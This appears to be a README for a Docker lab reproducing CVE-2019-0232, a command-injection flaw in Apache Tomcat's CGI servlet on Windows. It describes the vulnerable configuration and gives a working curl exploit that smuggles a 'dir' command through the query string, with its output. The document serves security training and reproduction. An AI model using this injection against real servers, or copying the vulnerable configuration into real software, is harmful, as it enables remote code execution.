CVE-2019-0232 - Apache Tomcat CGI Servlet Remote Code Execution

This repository provides a Docker-based lab environment to reproduce the CVE-2019-0232 vulnerability in Apache Tomcat 9.0.17 on Windows.

Vulnerability Overview

CVE-2019-0232 is a remote code execution vulnerability in the Apache Tomcat CGI Servlet when running on Windows. The issue arises due to improper handling of command-line arguments when the enableCmdLineArguments parameter is set to true. An attacker can pass arbitrary arguments to the CGI script via the query string, leading to execution of system commands.

• Affected versions: Apache Tomcat 9.0.0.M1 to 9.0.17
• Fixed versions: 9.0.18 and later
• Required conditions:
  • Windows operating system
  • enableCmdLineArguments=true in CGI servlet configuration
  • CGI servlet enabled and mapped to a URL pattern

Lab Environment

Directory Structure

tomcat-cgi-lab
├── docker-compose.yml
├── Dockerfile
└── tomcat
	├── apache-tomcat-9.0.17-windows-x64.zip
    └── apache-tomcat-9.0.17
        ├── conf
        │   └── context.xml              ← (privileged="true")
        └── webapps
            └── ROOT
                └── WEB-INF
                    ├── web.xml           ← (CGI configuration)
                    └── cgi-bin
                        └── test.bat      ← (.bat script)

Configuration Files

• context.xml: Sets privileged="true" to allow the web application to use the CGI servlet.
• web.xml: Defines the CGI servlet with enableCmdLineArguments=true and maps it to /cgi-bin/*.
• test.bat: A simple batch script that returns a welcome message.

Getting Started

Prerequisites

• Docker (Windows containers mode)
• Docker Compose

Build and Run

docker-compose build --no-cache
docker-compose up -d

Exploitation

curl -i "http://localhost:8080/cgi-bin/test.bat?&dir"

Welcome to CGI Test Page
 Volume in drive C has no label.
 Volume Serial Number is 3E70-7C38

 Directory of C:\apache-tomcat-9.0.17\webapps\ROOT\WEB-INF\cgi-bin

07/12/2026  11:45 AM    <DIR>          .
07/12/2026  11:45 AM    <DIR>          ..
07/12/2026  12:25 PM                78 test.bat
               1 File(s)             78 bytes
               2 Dir(s)  136,027,971,584 bytes free